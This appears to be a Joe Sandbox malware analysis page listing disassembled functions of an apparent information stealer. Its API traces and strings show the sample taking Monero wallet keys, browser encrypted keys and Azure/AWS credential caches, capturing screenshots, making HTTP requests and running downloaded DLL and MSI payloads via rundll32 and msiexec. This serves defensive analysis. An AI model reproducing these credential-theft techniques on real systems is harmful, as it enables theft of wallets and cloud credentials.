Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 1352239cc9a3187aa0fced0052b8b40b848d8d7e9e01c49086595dd64260357d
Instruction ID: fa1db374250c84be8f5af2f9c57768b2393c53991daffbfc632dff96394f2425
Opcode Fuzzy Hash: 1352239cc9a3187aa0fced0052b8b40b848d8d7e9e01c49086595dd64260357d
Instruction Fuzzy Hash: 4EE1FA71910108ABDB18EBA4DD96EEE7778FF24301F104168F106F66A1DE35AA06CB67

Function 008AC990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 008BA740: lstrcpy.KERNEL32(008C0E17,00000000), ref: 008BA788

Part of subcall function 008BA920: lstrcpy.KERNEL32(00000000,?), ref: 008BA972
Part of subcall function 008BA920: lstrcat.KERNEL32(00000000), ref: 008BA982

Part of subcall function 008BA8A0: lstrcpy.KERNEL32(?,008C0E17), ref: 008BA905

Part of subcall function 008BA9B0: lstrlen.KERNEL32(?,01428900,?,\Monero\wallet.keys,008C0E17), ref: 008BA9C5
Part of subcall function 008BA9B0: lstrcpy.KERNEL32(00000000), ref: 008BAA04
Part of subcall function 008BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008BAA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0142C7B8,00000000,?,008C144C,00000000,?,?), ref: 008ACA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 008ACA89
GetFileSize.KERNEL32(00000000,00000000), ref: 008ACA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 008ACAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 008ACAD9
StrStrA.SHLWAPI(?,0142C860,008C0B52), ref: 008ACAF7
StrStrA.SHLWAPI(00000000,0142C788), ref: 008ACB1E
StrStrA.SHLWAPI(?,0142D210,00000000,?,008C1458,00000000,?,00000000,00000000,?,014286E0,00000000,?,008C1454,00000000,?), ref: 008ACCA2
StrStrA.SHLWAPI(00000000,0142D190), ref: 008ACCB9

Part of subcall function 008AC820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 008AC871
Part of subcall function 008AC820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 008AC87C

StrStrA.SHLWAPI(?,0142D190,00000000,?,008C145C,00000000,?,00000000,01428720), ref: 008ACD5A
StrStrA.SHLWAPI(00000000,01428880), ref: 008ACD71

Part of subcall function 008AC820: lstrcat.KERNEL32(?,008C0B46), ref: 008AC943
Part of subcall function 008AC820: lstrcat.KERNEL32(?,008C0B47), ref: 008AC957
Part of subcall function 008AC820: lstrcat.KERNEL32(?,008C0B4E), ref: 008AC978

lstrlen.KERNEL32(00000000), ref: 008ACE44
CloseHandle.KERNEL32(00000000), ref: 008ACE9C

Strings

, xrefs: 008AC9C6

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 99ba3bb1670f25c514c0625b78c9a2c88d666ec910bf2e5607bbdfc0d1a1bbb2
Instruction ID: 650d41e3d8523f4109dc85a9bd3b07b63ae71ab2bb752681fe7c224bea7520fa
Opcode Fuzzy Hash: 99ba3bb1670f25c514c0625b78c9a2c88d666ec910bf2e5607bbdfc0d1a1bbb2
Instruction Fuzzy Hash: F5E1ED71900108BBDB18EBA8DC95FEEB778FF14300F404169F516E6691EF346A4ACB66

Function 008B8320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 008BA740: lstrcpy.KERNEL32(008C0E17,00000000), ref: 008BA788

RegOpenKeyExA.ADVAPI32(00000000,0142A838,00000000,00020019,00000000,008C05B6), ref: 008B83A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 008B8426
wsprintfA.USER32 ref: 008B8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 008B847B
RegCloseKey.ADVAPI32(00000000), ref: 008B848C
RegCloseKey.ADVAPI32(00000000), ref: 008B8499

Part of subcall function 008BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 008BA7E6

Strings

?, xrefs: 008B837A
- , xrefs: 008B85A3
%s\%s, xrefs: 008B844D

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: f6ac9dbb0f733910f3b43bed21afe7258cdfe4d60ef6bbf5472af3785708aaa8
Instruction ID: 278e2d59452c7798698de0d7337d4ee25a838119ba183b946a2491dc89487728
Opcode Fuzzy Hash: f6ac9dbb0f733910f3b43bed21afe7258cdfe4d60ef6bbf5472af3785708aaa8
Instruction Fuzzy Hash: D981FC71910118ABDB28DB54CC95FEAB7B8FF18700F008299E10AE6250DF756B86CFA5

Function 008B4D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 008B8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 008B8E0B

lstrcat.KERNEL32(?,00000000), ref: 008B4DB0
lstrcat.KERNEL32(?,\.azure\), ref: 008B4DCD

Part of subcall function 008B4910: wsprintfA.USER32 ref: 008B492C
Part of subcall function 008B4910: FindFirstFileA.KERNEL32(?,?), ref: 008B4943

lstrcat.KERNEL32(?,00000000), ref: 008B4E3C
lstrcat.KERNEL32(?,\.aws\), ref: 008B4E59

Part of subcall function 008B4910: StrCmpCA.SHLWAPI(?,008C0FDC), ref: 008B4971
Part of subcall function 008B4910: StrCmpCA.SHLWAPI(?,008C0FE0), ref: 008B4987
Part of subcall function 008B4910: FindNextFileA.KERNEL32(000000FF,?), ref: 008B4B7D
Part of subcall function 008B4910: FindClose.KERNEL32(000000FF), ref: 008B4B92

lstrcat.KERNEL32(?,00000000), ref: 008B4EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 008B4EE5

Part of subcall function 008B4910: wsprintfA.USER32 ref: 008B49B0
Part of subcall function 008B4910: StrCmpCA.SHLWAPI(?,008C08D2), ref: 008B49C5
Part of subcall function 008B4910: wsprintfA.USER32 ref: 008B49E2
Part of subcall function 008B4910: PathMatchSpecA.SHLWAPI(?,?), ref: 008B4A1E
Part of subcall function 008B4910: lstrcat.KERNEL32(?,0142F0D8), ref: 008B4A4A
Part of subcall function 008B4910: lstrcat.KERNEL32(?,008C0FF8), ref: 008B4A5C
Part of subcall function 008B4910: lstrcat.KERNEL32(?,?), ref: 008B4A70
Part of subcall function 008B4910: lstrcat.KERNEL32(?,008C0FFC), ref: 008B4A82
Part of subcall function 008B4910: lstrcat.KERNEL32(?,?), ref: 008B4A96
Part of subcall function 008B4910: CopyFileA.KERNEL32(?,?,00000001), ref: 008B4AAC
Part of subcall function 008B4910: DeleteFileA.KERNEL32(?), ref: 008B4B31

Strings

msal.cache, xrefs: 008B4EF0
*.*, xrefs: 008B4DD8
\.aws\, xrefs: 008B4E4D
Azure\.aws, xrefs: 008B4E5F
Azure\.IdentityService, xrefs: 008B4EEB
\.IdentityService\, xrefs: 008B4ED9
*.*, xrefs: 008B4E64
Azure\.azure, xrefs: 008B4DD3
\.azure\, xrefs: 008B4DC1

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 8b89cc8e2dbd4608c7ca2f1e38955467056c78fa6b7f9f9b9841f43233a41b48
Instruction ID: 3fd4e5d104a15de876efc7a6fad32f3806ad9c38c72c05dc933965d9c578a9b3
Opcode Fuzzy Hash: 8b89cc8e2dbd4608c7ca2f1e38955467056c78fa6b7f9f9b9841f43233a41b48
Instruction Fuzzy Hash: 5741837A94020467DB64F770DC8BFDD7238FB25700F004458B695E62C2EEB49B898B93

Function 008B9010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 008B906C

Strings

image/jpeg, xrefs: 008B9136

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 095532a67d3eb889c82fbf6dcb398538547a4339dcd07dd664e9ead6289558cf
Instruction ID: 58b71472f9a55c09612168f866852746ebb6584857d7da558bdaa89e2d1ac333
Opcode Fuzzy Hash: 095532a67d3eb889c82fbf6dcb398538547a4339dcd07dd664e9ead6289558cf
Instruction Fuzzy Hash: 1271BAB5910208ABDB04EFE4DC89FEEB7B9FB58700F108518F615EB290DB34A945CB61

Function 008B2E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 008BA740: lstrcpy.KERNEL32(008C0E17,00000000), ref: 008BA788

ShellExecuteEx.SHELL32(0000003C), ref: 008B31C5
ShellExecuteEx.SHELL32(0000003C), ref: 008B335D
ShellExecuteEx.SHELL32(0000003C), ref: 008B34EA

Strings

C:\Windows\system32\msiexec.exe, xrefs: 008B34BF
C:\Windows\system32\rundll32.exe, xrefs: 008B3332
"" , xrefs: 008B309A
/i ", xrefs: 008B33E4
/passive, xrefs: 008B345B
.msi, xrefs: 008B3398
.dll, xrefs: 008B31E5
<, xrefs: 008B3490

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: fba263a8d887c0580760cab14723a49485ef120eec6685dc51805412bea19921
Instruction ID: 4bf468df2b9615da6fc2d41fc84afc00d3b570feec6fab6609986e3798ccde4e
Opcode Fuzzy Hash: fba263a8d887c0580760cab14723a49485ef120eec6685dc51805412bea19921
Instruction Fuzzy Hash: EE12ED71810108AADB19EBA4DC92FEEB778FF14300F504169F516A6691EF346B4ACF63

Function 008B52C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 008BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 008BA7E6

Part of subcall function 008A6280: InternetOpenA.WININET(008C0DFE,00000001,00000000,00000000,00000000), ref: 008A62E1
Part of subcall function 008A6280: StrCmpCA.SHLWAPI(?,0142F028), ref: 008A6303
Part of subcall function 008A6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 008A6335
Part of subcall function 008A6280: HttpOpenRequestA.WININET(00000000,GET,?,0142EB78,00000000,00000000,00400100,00000000), ref: 008A6385
Part of subcall function 008A6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 008A63BF
Part of subcall function 008A6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 008A63D1

Part of subcall function 008BA8A0: lstrcpy.KERNEL32(?,008C0E17), ref: 008BA905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 008B5318
lstrlen.KERNEL32(00000000), ref: 008B532F

Part of subcall function 008B8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 008B8E52

StrStrA.SHLWAPI(00000000,00000000), ref: 008B5364
lstrlen.KERNEL32(00000000), ref: 008B5383
lstrlen.KERNEL32(00000000), ref: 008B53AE

Part of subcall function 008BA740: lstrcpy.KERNEL32(008C0E17,00000000), ref: 008BA788

Strings

ERROR, xrefs: 008B54A9
ERROR, xrefs: 008B546F
ERROR, xrefs: 008B53B9
ERROR, xrefs: 008B530A
ERROR, xrefs: 008B5432

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: a4609b2b8c91058c6176c6633964fa1be95ccde9b7b2fa97c437961166f3a8d3
Instruction ID: d1ae5f0987bbdb2fd2a63153a92614dfb162b92c61d46f2e0179db6e28050313
Opcode Fuzzy Hash: a4609b2b8c91058c6176c6633964fa1be95ccde9b7b2fa97c437961166f3a8d3
Instruction Fuzzy Hash: 2551B070910149ABDB28EF68C996AED7779FF10301F504028E446DAAA2DF346B46CB63

Function 008B12D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 84cf02b8ab08bd59a93d8627916894daf1784114419ac9dbf96a16a154b613d5
Instruction ID: 168ec4b2e3e6dbec85bac0f4d65c7e2618e26bb65b80d70429852bf5fe21c24d
Opcode Fuzzy Hash: 84cf02b8ab08bd59a93d8627916894daf1784114419ac9dbf96a16a154b613d5
Instruction Fuzzy Hash: CDC196B590011DABCF18EFA4DCD9FDA7778FB64304F004598E10AAB241DB70AA85CF92

Function 008B4280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 008B8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 008B8E0B

lstrcat.KERNEL32(?,00000000), ref: 008B42EC
lstrcat.KERNEL32(?,0142EB90), ref: 008B430B
lstrcat.KERNEL32(?,?), ref: 008B431F
lstrcat.KERNEL32(?,0142C8F0), ref: 008B4333

Part of subcall function 008BA740: lstrcpy.KERNEL32(008C0E17,00000000), ref: 008BA788

Part of subcall function 008B8D90: GetFileAttributesA.KERNEL32(00000000,?,008A1B54,?,?,008C564C,?,?,008C0E1F), ref: 008B8D9F

Part of subcall function 008A9CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 008A9D39

Part of subcall function 008A99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 008A99EC
Part of subcall function 008A99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 008A9A11
Part of subcall function 008A99C0: LocalAlloc.KERNEL32(00000040,?), ref: 008A9A31
Part of subcall function 008A99C0: ReadFile.KERNEL32(000000FF,?,00000000,008A148F,00000000), ref: 008A9A5A
Part of subcall function 008A99C0: LocalFree.KERNEL32(008A148F), ref: 008A9A90
Part of subcall function 008A99C0: CloseHandle.KERNEL32(000000FF), ref: 008A9A9A

Part of subcall function 008B93C0: GlobalAlloc.KERNEL32(00000000,008B43DD,008B43DD), ref: 008B93D3

StrStrA.SHLWAPI(?,0142E998), ref: 008B43F3
GlobalFree.KERNEL32(?), ref: 008B4512

Part of subcall function 008A9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,008A4EEE,00000000,00000000), ref: 008A9AEF
Part of subcall function 008A9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,008A4EEE,00000000,?), ref: 008A9B01
Part of subcall function 008A9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,008A4EEE,00000000,00000000), ref: 008A9B2A
Part of subcall function 008A9AC0: LocalFree.KERNEL32(?,?,?,?,008A4EEE,00000000,?), ref: 008A9B3F

lstrcat.KERNEL32(?,00000000), ref: 008B44A3
StrCmpCA.SHLWAPI(?,008C08D1), ref: 008B44C0
lstrcat.KERNEL32(00000000,00000000), ref: 008B44D2
lstrcat.KERNEL32(00000000,?), ref: 008B44E5
lstrcat.KERNEL32(00000000,008C0FB8), ref: 008B44F4

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
